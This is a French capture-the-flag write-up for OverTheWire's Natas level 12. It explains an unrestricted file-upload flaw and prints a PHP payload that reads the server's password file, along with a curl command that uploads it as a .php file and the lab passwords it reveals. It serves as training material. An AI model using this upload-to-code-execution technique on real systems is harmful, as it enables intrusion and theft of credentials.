Natas 12
Level Goal
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL: http://natas12.natas.labs.overthewire.org
En se connectant à la page du challenge (curl http://natas12.natas.labs.overthewire.org -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
) on a un formulaire permettant l'upload d'une image :
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="dg39qrm60o.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
avec le code source suivant :
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
Plusieurs remarques sur ce code :
- le nom du fichier est généré pseudo-aléatoirement mais est indiqué dans un champ texte de type
hidden
sur la page d'upload, ce qui laisse un contrôle total à l'utilisateur - le nom final du fichier uploadé est généré aléatoirement, mais l'extension est conservée depuis la page d'upload
De fait, si on envoie un fichier php avec le contenu suivant :
<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>
En changeant la valeur du champ filename
de
<input type="hidden" name="filename" value="v191qs285f.jpg">
à
<input type="hidden" name="filename" value="v191qs285f.php">
On sait que le fichier uploadé sera enregistré avec l'extension php
sur le serveur.
Ainsi si l'on exécute la commande suivante :
curl --form uploadedfile=@exploit.php \
--form filename=file.php \
http://natas12.natas.labs.overthewire.org -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
On obtient la réponse :
The file upload/d7dt5r03sn.php has been uploaded
Si l'on visite le fichier indiqué, on trouve le mot de passe du prochain niveau : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
.